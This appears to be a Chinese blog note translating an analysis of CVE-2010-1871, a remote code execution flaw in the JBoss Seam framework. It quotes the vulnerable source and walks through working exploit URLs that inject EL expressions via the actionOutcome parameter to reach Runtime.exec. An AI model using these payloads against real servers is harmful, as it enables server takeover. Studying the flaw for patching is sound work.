(转http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html)
本文相当于翻译了这篇文章,也主要是想为自己做个笔记
该漏洞的出现主要是由于Jboss-seamFramework框架开发者在加入EL组件支持时,由于没有处理好传给由EL处理的用户数据,导致这个漏洞的产生,structs的一个版本也出现过这样的问题。
EL的功能有:
1.方法调用:#{hotelBooking.bookHotel(hotel)}
2.返回属性:#{person.name}
3.投影迭代:#{company.departments.{d|d.name}}
实现该功能的子类有com.sun.faces.el.ImplicitObjectELResolver同SeamELResolver.他们继承javax.el.ELResolver(你可以在j2ee手册里查看该类的介绍)。由于上面的特性,所以我们就可以通过调用系统的可执行命令的接口获得shell.该接口是java.lang.Runtime的exec。
EL的调用格式是expressions.getClass().forName('java.lang.Runtime'),因此我们想远程实现执行相关命令就需要EL的调用expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6],"cmd")这样的格式
思路很简单,就是先获得Runtime实例,即通过java.lang.Runtime.getRuntime()方法获得,然后再调用exec(Stringcmd)方法运行命令
注意上面的getDeclaredMethods()[13]就表示获得Runtime实例,getDeclaredMethods()[6]调用exec方法。不过不同的操作系统还有jdk版本可能索引号不一样。我想大家从上面的EL调用格式就应该知道EL使用了反射(RejectAPI)哈,这就是问题的所在,一般在使用反射时,如果要加载的类本身就不安全,然而这个类的名称又可以由用户提供的话,那么就会出现这样的漏洞的。反射在实现程序的扩展方面确实有很大的作用,不过以后在我们做web应用时,如果非要用反射并提供暴露给用户的话,千万要注意这方面的过滤。
下面我们就来看一下Jboss-seamFramework在使用EL没注意到的问题,我会附上代码。红色为关键代码。
在Jboss-seamFramework的例子程序samplebooking app,发现了该接口org.jboss.seam.navigation.Pages.callAction(),她是先获得用户提交的actionOutcome参数然后传递给JSF的NavigationHandler抽象类的handleNavigation处理的,这里jboss是用SeamNavigationHandler继续该类并处理由用户传来的actionOutcome参数的。如果你不熟悉JSF请在网上找一下资料。相关代码如下
org.jboss.seam.navigation.Pages.callAction()
private static booleancallAction(FacesContext facesContext)
{
//TODO: refactor withPages.instance().callAction()!!
boolean result = false;
String outcome =facesContext.getExternalContext()
.getRequestParameterMap().get("actionOutcome");
String fromAction = outcome;
String decodedOutcome = null;
if (outcome != null)
{
decodedOutcome =URLDecoder.decode(outcome);
}
if (decodedOutcome != null &&(decodedOutcome.indexOf('#') >= 0 || decodedOutcome.indexOf('{')>= 0) ){
throw newIllegalArgumentException("EL expressions are not allowed inactionOutcome parameter");
}
if (outcome==null)
{
String actionId =facesContext.getExternalContext()
.getRequestParameterMap().get("actionMethod");
if (actionId!=null)
{
String decodedActionId =URLDecoder.decode(actionId);
if (decodedActionId != null &&(decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{')>= 0) ){
throw newIllegalArgumentException("EL expressions are not allowed inactionMethod parameter");
}
if (!SafeActions.instance().isActionSafe(actionId) ) return result;
String expression =SafeActions.toAction(actionId);
result = true;
MethodExpressionactionExpression =Expressions.instance().createMethodExpression(expression);
outcome = toString(actionExpression.invoke() );
fromAction = expression;
handleOutcome(facesContext,outcome, fromAction);
}
}
else
{
handleOutcome(facesContext,outcome, fromAction);
}
return result;
}
org.jboss.seam.navigation.Pages.handleOutcome()
public static voidhandleOutcome(FacesContext facesContext, String outcome, StringfromAction)
{
facesContext.getApplication().getNavigationHandler()
.handleNavigation(facesContext,fromAction, outcome);
//after every time that theview may have changed,
//we need to flush the pagecontext, since the
//attribute map is beingdiscarder
Contexts.getPageContext().flush();
}
org.jboss.seam.jsf.handleNavigation()
public voidhandleNavigation(FacesContext context, String fromAction, Stringoutcome)
{
if (!context.getResponseComplete() ) //workaround for a bug in MyFaces
{
if ( isOutcomeViewId(outcome))
{
FacesManager.instance().interpolateAndRedirect(outcome);
}
else if (Init.instance().isJbpmInstalled() &&Pageflow.instance().isInProcess() &&Pageflow.instance().hasTransition(outcome) )
{
Pageflow.instance().navigate(context,outcome);
}
else if (!Pages.instance().navigate(context, fromAction, outcome) )
{
baseNavigationHandler.handleNavigation(context, fromAction,outcome);
}
}
}
private static booleanisOutcomeViewId(String outcome) 50 {
return outcome!=null &&outcome.startsWith("/");
}
我们可以看到当在handleNavigation()方法里发现actionOutcome里包含如果是以/开头时就会把actionOutcome数据交给FacesManager.instance().interpolateAndRedirect()处理里,代码如下
public voidinterpolateAndRedirect(String url)
{
Map<String, Object>parameters = new HashMap<String, Object>();
int loc = url.indexOf('?');
if (loc>0)
{
StringTokenizer tokens = newStringTokenizer( url.substring(loc), "?=&" );
while ( tokens.hasMoreTokens())
{
String name =tokens.nextToken();
String value =Interpolator.instance().interpolate( tokens.nextToken() );
parameters.put(name, value);
}
url = url.substring(0, loc);
}
redirect(url, parameters, true,true);
}
在方法里我们可以发现一些满足条件的actionOutcome数据可以由Interpolator.instance().interpolate()处理,这就调用了EL的接口,因此就出现远程代码执行漏洞了。
利用的方式如下,你可以注意?=&要进行url编码
/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}
按照程序的逻辑,当我们访问上面的网址里会redirect到另外一个地址/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14
我们可以在网址中看到java.lang.Runtime,它实际上就是%23{expressions.getClass().forName('java.lang.Runtime')}运行后返回的字符串结果,即类的名称。
因此我们就可以通过这个过程获得我们想要实现执行命令的接口索引号,即java.lang.Runtime.getRuntime()同java.lang.Runtime.exec()的索引号。通过访问/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6]},
我们得到/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24,这就是我们要的第一个接口.
然后依此猜,我们就得到/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13]},
得到的跳转页面是/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13]},这就是我们想要的第二个接口。,然后我们就可以构造能远程执行命令的数据交给EL处理了。
语句如下/seam-booking/home.seam?actionOutcome/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(null),'cmd')}.
通过上面我们应该了解到虽然jsp没有像asp,php等那样由于eval错误使用而导致远程代码执行漏洞来得干脆直接,不过不要忘记java的反射API的使用,因为反射可以加载主机的一些关键系统接口,导致直接可以得到shell.再加上一般jsp服务器权限大,一般都是root或者system,所以代码没写好,危害更大呀。